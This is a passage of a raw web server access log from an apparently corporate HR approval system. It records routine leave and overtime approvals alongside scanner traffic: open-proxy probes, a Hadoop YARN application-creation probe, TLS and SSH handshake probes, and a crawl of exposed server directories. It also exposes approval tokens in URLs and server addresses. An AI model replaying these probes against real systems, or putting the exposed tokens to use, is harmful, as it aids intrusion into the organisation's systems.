/ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F9765F2A16A87EF128B41D134458AB4823FE1AE9531AA27C0CA399880F3FA3B78A2173AE8A6E96A596 HTTP/1.1" 302 128 100.64.0.1 - - [30/Nov/2025:15:25:26 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132634%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132634&target=iframe HTTP/1.1" 302 108 "http://hcp.maglayers.com.cn:8088/ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F9765F2A16A87EF128B41D134458AB4823FE1AE9531AA27C0CA399880F3FA3B78A2173AE8A6E96A596" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [30/Nov/2025:15:25:26 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132634%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132634&target=iframe HTTP/1.1" 302 108 100.64.0.1 - - [30/Nov/2025:15:25:27 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F9765F2A16A87EF128B41D134458AB4823FE1AE9531AA27C0CA399880F3FA3B78A2173AE8A6E96A596" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [30/Nov/2025:15:25:27 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [30/Nov/2025:16:22:00 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 100.64.0.1 - - [30/Nov/2025:16:22:00 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [30/Nov/2025:16:33:00 +0800] "HEAD /ehr/mgr/batchapprove.php?key=CEFF5FF18D9B3BB1C7545CC7B23917551F05B54F0A6A119D1C01C6EF5D91FD6D644BB9F344A522638DD41DE229D2F1AC HTTP/1.1" 302 - "-" "-" 100.64.0.1 - - [30/Nov/2025:16:33:00 +0800] "HEAD /ehr/mgr/batchapprove.php?key=CEFF5FF18D9B3BB1C7545CC7B23917551F05B54F0A6A119D1C01C6EF5D91FD6D644BB9F344A522638DD41DE229D2F1AC HTTP/1.1" 302 - 100.64.0.1 - - [30/Nov/2025:16:33:02 +0800] "HEAD /ehr/mgr/redirect.php?scriptname=leave_approve&key=CEFF5FF18D9B3BB1C7545CC7B23917551F05B54F0A6A119D1C01C6EF5D91FD6D644BB9F344A522638DD41DE229D2F1AC HTTP/1.1" 200 - "-" "-" 100.64.0.1 - - [30/Nov/2025:16:33:02 +0800] "HEAD /ehr/mgr/redirect.php?scriptname=leave_approve&key=CEFF5FF18D9B3BB1C7545CC7B23917551F05B54F0A6A119D1C01C6EF5D91FD6D644BB9F344A522638DD41DE229D2F1AC HTTP/1.1" 200 - 100.64.0.1 - - [30/Nov/2025:16:33:06 +0800] "GET /ehr/mgr/batchapprove.php?key=CEFF5FF18D9B3BB1C7545CC7B23917551F05B54F0A6A119D1C01C6EF5D91FD6D644BB9F344A522638DD41DE229D2F1AC HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [30/Nov/2025:16:33:06 +0800] "GET /ehr/mgr/batchapprove.php?key=CEFF5FF18D9B3BB1C7545CC7B23917551F05B54F0A6A119D1C01C6EF5D91FD6D644BB9F344A522638DD41DE229D2F1AC HTTP/1.1" 302 - 100.64.0.1 - - [30/Nov/2025:16:33:07 +0800] "GET /ehr/mgr/redirect.php?scriptname=leave_approve&key=CEFF5FF18D9B3BB1C7545CC7B23917551F05B54F0A6A119D1C01C6EF5D91FD6D644BB9F344A522638DD41DE229D2F1AC HTTP/1.1" 200 16555 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [30/Nov/2025:16:33:07 +0800] "GET /ehr/mgr/redirect.php?scriptname=leave_approve&key=CEFF5FF18D9B3BB1C7545CC7B23917551F05B54F0A6A119D1C01C6EF5D91FD6D644BB9F344A522638DD41DE229D2F1AC HTTP/1.1" 200 16555 100.64.0.1 - - [30/Nov/2025:16:33:12 +0800] "POST /ehr/mgr/redirect.php?scriptname=leave_approve&key=CEFF5FF18D9B3BB1C7545CC7B23917551F05B54F0A6A119D1C01C6EF5D91FD6D644BB9F344A522638DD41DE229D2F1AC HTTP/1.1" 200 5217 "http://hcp.maglayers.com.cn:8088/ehr/mgr/redirect.php?scriptname=leave_approve&key=CEFF5FF18D9B3BB1C7545CC7B23917551F05B54F0A6A119D1C01C6EF5D91FD6D644BB9F344A522638DD41DE229D2F1AC" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [30/Nov/2025:16:33:12 +0800] "POST /ehr/mgr/redirect.php?scriptname=leave_approve&key=CEFF5FF18D9B3BB1C7545CC7B23917551F05B54F0A6A119D1C01C6EF5D91FD6D644BB9F344A522638DD41DE229D2F1AC HTTP/1.1" 200 5217 100.64.0.1 - - [30/Nov/2025:16:33:14 +0800] "GET /ehr/img/Y.png HTTP/1.1" 200 1084 100.64.0.1 - - [30/Nov/2025:16:33:14 +0800] "GET /ehr/img/Y.png HTTP/1.1" 200 1084 "http://hcp.maglayers.com.cn:8088/ehr/mgr/redirect.php?scriptname=leave_approve&key=CEFF5FF18D9B3BB1C7545CC7B23917551F05B54F0A6A119D1C01C6EF5D91FD6D644BB9F344A522638DD41DE229D2F1AC" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [30/Nov/2025:17:21:56 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA1EB0511F514A74C91EA0CDA46E8C9D5F1A89848EBBE29D3A260DC205E002517B5BCCAF3101F098643D3401E22BE977260BBE90115DD9A217D HTTP/1.1" 200 - "-" "-" 100.64.0.1 - - [30/Nov/2025:17:21:56 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA1EB0511F514A74C91EA0CDA46E8C9D5F1A89848EBBE29D3A260DC205E002517B5BCCAF3101F098643D3401E22BE977260BBE90115DD9A217D HTTP/1.1" 200 - 192.168.185.139 - - [30/Nov/2025:17:21:59 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA1EB0511F514A74C91EA0CDA46E8C9D5F1A89848EBBE29D3A260DC205E002517B5BCCAF3101F098643D3401E22BE977260BBE90115DD9A217D HTTP/1.1" 200 4163 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.185.139 - - [30/Nov/2025:17:21:59 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA1EB0511F514A74C91EA0CDA46E8C9D5F1A89848EBBE29D3A260DC205E002517B5BCCAF3101F098643D3401E22BE977260BBE90115DD9A217D HTTP/1.1" 200 4163 192.168.185.139 - - [30/Nov/2025:17:21:59 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA1EB0511F514A74C91EA0CDA46E8C9D5F1A89848EBBE29D3A260DC205E002517B5BCCAF3101F098643D3401E22BE977260BBE90115DD9A217D" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.185.139 - - [30/Nov/2025:17:21:59 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 100.64.0.1 - - [30/Nov/2025:18:17:21 +0800] "\x16\x03\x03\x01\xa7\x01" 501 208 "-" "-" 100.64.0.1 - - [30/Nov/2025:18:17:21 +0800] "\x16\x03\x03\x01\xa7\x01" 501 208 100.64.0.1 - - [30/Nov/2025:18:17:26 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0" 100.64.0.1 - - [30/Nov/2025:18:17:26 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [30/Nov/2025:18:22:07 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [30/Nov/2025:18:22:07 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [30/Nov/2025:18:22:22 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [30/Nov/2025:18:22:22 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.160 Safari/537.36" 100.64.0.1 - - [30/Nov/2025:18:25:22 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [30/Nov/2025:18:25:22 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0" 100.64.0.1 - - [30/Nov/2025:19:04:30 +0800] "CONNECT baidu.com:443 HTTP/1.1" 405 225 "-" "Go-http-client/1.1" 100.64.0.1 - - [30/Nov/2025:19:04:30 +0800] "CONNECT baidu.com:443 HTTP/1.1" 405 225 100.64.0.1 - - [30/Nov/2025:19:04:32 +0800] "CONNECT baidu.com:443 HTTP/1.1" 405 225 "-" "Go-http-client/1.1" 100.64.0.1 - - [30/Nov/2025:19:04:32 +0800] "CONNECT baidu.com:443 HTTP/1.1" 405 225 100.64.0.1 - - [30/Nov/2025:19:09:48 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0" 100.64.0.1 - - [30/Nov/2025:19:09:48 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [30/Nov/2025:19:31:10 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 "-" "Go-http-client/1.1" 100.64.0.1 - - [30/Nov/2025:19:31:10 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 100.64.0.1 - - [30/Nov/2025:19:31:12 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 "-" "Go-http-client/1.1" 100.64.0.1 - - [30/Nov/2025:19:31:12 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 100.64.0.1 - - [30/Nov/2025:19:49:10 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [30/Nov/2025:19:49:10 +0800] "GET / HTTP/1.1" 200 439 "-" "cypex.ai/scanning Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36" 100.64.0.1 - - [30/Nov/2025:19:49:35 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0" 100.64.0.1 - - [30/Nov/2025:19:49:35 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [30/Nov/2025:19:51:08 +0800] "GET / HTTP/1.1" 200 439 "-" "cypex.ai/scanning Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36" 100.64.0.1 - - [30/Nov/2025:19:51:08 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [30/Nov/2025:19:52:45 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [30/Nov/2025:19:52:45 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [30/Nov/2025:19:55:53 +0800] "SSH-2.0-Go" 501 212 100.64.0.1 - - [30/Nov/2025:19:55:53 +0800] "SSH-2.0-Go" 501 212 "-" "-" 100.64.0.1 - - [30/Nov/2025:19:57:19 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [30/Nov/2025:19:57:19 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [30/Nov/2025:20:02:40 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 100.64.0.1 - - [30/Nov/2025:20:02:40 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.22.0" 100.64.0.1 - - [30/Nov/2025:20:59:55 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 100.64.0.1 - - [30/Nov/2025:20:59:55 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [30/Nov/2025:21:04:22 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 100.64.0.1 - - [30/Nov/2025:21:04:22 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [30/Nov/2025:21:14:04 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 100.64.0.1 - - [30/Nov/2025:21:14:04 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [30/Nov/2025:21:21:11 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 100.64.0.1 - - [30/Nov/2025:21:21:11 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [30/Nov/2025:21:24:59 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 100.64.0.1 - - [30/Nov/2025:21:24:59 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [30/Nov/2025:21:29:21 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0" 100.64.0.1 - - [30/Nov/2025:21:29:21 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [30/Nov/2025:21:29:22 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "http://202.111.43.170:8088/" "Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0" 100.64.0.1 - - [30/Nov/2025:21:29:22 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [30/Nov/2025:21:40:22 +0800] "\x16\x03\x03\x01\xa7\x01" 501 208 100.64.0.1 - - [30/Nov/2025:21:40:22 +0800] "\x16\x03\x03\x01\xa7\x01" 501 208 "-" "-" 100.64.0.1 - - [30/Nov/2025:21:40:26 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0" 100.64.0.1 - - [30/Nov/2025:21:40:26 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [30/Nov/2025:21:47:27 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0" 100.64.0.1 - - [30/Nov/2025:21:47:27 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [30/Nov/2025:22:57:14 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 100.64.0.1 - - [30/Nov/2025:22:57:14 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [30/Nov/2025:22:57:15 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 100.64.0.1 - - [30/Nov/2025:22:57:15 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [30/Nov/2025:23:17:08 +0800] "GET http://passport.baidu.com/ HTTP/1.1" 200 439 "-" "-" 100.64.0.1 - - [30/Nov/2025:23:17:08 +0800] "GET http://passport.baidu.com/ HTTP/1.1" 200 439 100.64.0.1 - - [30/Nov/2025:23:37:46 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 "-" "Go-http-client/1.1" 100.64.0.1 - - [30/Nov/2025:23:37:46 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 100.64.0.1 - - [30/Nov/2025:23:37:51 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 "-" "Go-http-client/1.1" 100.64.0.1 - - [30/Nov/2025:23:37:51 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 100.64.0.1 - - [01/Dec/2025:00:32:32 +0800] "GET /robots.txt HTTP/1.1" 404 208 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:00:32:32 +0800] "GET /robots.txt HTTP/1.1" 404 208 100.64.0.1 - - [01/Dec/2025:00:32:43 +0800] "GET /eHR1/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:00:32:43 +0800] "GET /eHR1/ HTTP/1.1" 200 649 100.64.0.1 - - [01/Dec/2025:00:40:14 +0800] "\x03" 501 203 "-" "-" 100.64.0.1 - - [01/Dec/2025:00:40:14 +0800] "\x03" 501 203 100.64.0.1 - - [01/Dec/2025:01:12:22 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.22.0" 100.64.0.1 - - [01/Dec/2025:01:12:22 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 100.64.0.1 - - [01/Dec/2025:02:22:21 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8806 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:02:22:21 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8806 100.64.0.1 - - [01/Dec/2025:02:53:14 +0800] "GET / HTTP/1.1" 200 439 "-" "-" 100.64.0.1 - - [01/Dec/2025:02:53:14 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [01/Dec/2025:02:58:14 +0800] "GET / HTTP/1.1" 200 439 "-" "-" 100.64.0.1 - - [01/Dec/2025:02:58:14 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [01/Dec/2025:03:03:31 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [01/Dec/2025:03:03:31 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [01/Dec/2025:03:03:35 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [01/Dec/2025:03:03:35 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:03:03:38 +0800] "PRI * HTTP/2.0" 400 226 "-" "-" 100.64.0.1 - - [01/Dec/2025:03:03:38 +0800] "PRI * HTTP/2.0" 400 226 100.64.0.1 - - [01/Dec/2025:03:03:39 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [01/Dec/2025:03:03:39 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:03:03:47 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:03:03:47 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [01/Dec/2025:03:03:48 +0800] "GET /eHRTEST HTTP/1.1" 301 242 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:03:03:48 +0800] "GET /eHRTEST HTTP/1.1" 301 242 100.64.0.1 - - [01/Dec/2025:03:03:48 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 "http://222.92.19.198:8088/eHRTEST" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:03:03:48 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 100.64.0.1 - - [01/Dec/2025:03:03:49 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 265 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:03:03:49 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 265 100.64.0.1 - - [01/Dec/2025:03:03:50 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:03:03:50 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [01/Dec/2025:03:03:50 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "http://222.92.19.198:8088/Apache%20Software%20Foundation" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:03:03:50 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 100.64.0.1 - - [01/Dec/2025:03:03:51 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 265 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:03:03:51 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 265 100.64.0.1 - - [01/Dec/2025:03:03:51 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 275 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:03:03:51 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 275 100.64.0.1 - - [01/Dec/2025:03:03:52 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:03:03:52 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 100.64.0.1 - - [01/Dec/2025:03:03:52 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "http://222.92.19.198:8088/Apache%20Software%20Foundation" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:03:03:52 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 100.64.0.1 - - [01/Dec/2025:03:03:53 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0 HTTP/1.1" 301 289 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:03:03:53 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0 HTTP/1.1" 301 289 100.64.0.1 - - [01/Dec/2025:03:03:53 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/ HTTP/1.1" 200 399 "http://222.92.19.198:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:03:03:53 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/ HTTP/1.1" 200 399 100.64.0.1 - - [01/Dec/2025:03:03:54 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/modules HTTP/1.1" 301 283 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:03:03:54 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/modules HTTP/1.1" 301 283 100.64.0.1 - - [01/Dec/2025:03:03:54 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2 HTTP/1.1" 301 308 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:03:03:54 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2 HTTP/1.1" 301 308 100.64.0.1 - - [01/Dec/2025:03:03:56 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/modules/ HTTP/1.1" 200 4219 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/modules" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:03:03:56 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/modules/ HTTP/1.1" 200 4219 100.64.0.1 - - [01/Dec/2025:03:03:57 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error HTTP/1.1" 301 281 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:03:03:57 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error HTTP/1.1" 301 281 100.64.0.1 - - [01/Dec/2025:03:03:58 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error/ HTTP/1.1" 200 1877 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/error" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:03:03:58 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error/ HTTP/1.1" 200 1877 100.64.0.1 - - [01/Dec/2025:03:03:58 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/ HTTP/1.1" 200 2241 "http://222.92.19.198:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:03:03:58 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/ HTTP/1.1" 200 2241 100.64.0.1 - - [01/Dec/2025:03:03:59 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/cgi-bin HTTP/1.1" 301 283 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:03:03:59 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/cgi-bin HTTP/1.1" 301 283 100.64.0.1 - - [01/Dec/2025:03:03:59 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/cgi-bin/ HTTP/1.1" 403 247 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/cgi-bin" "Mozilla/5.0 (compatible; CensysInspect/1.1; 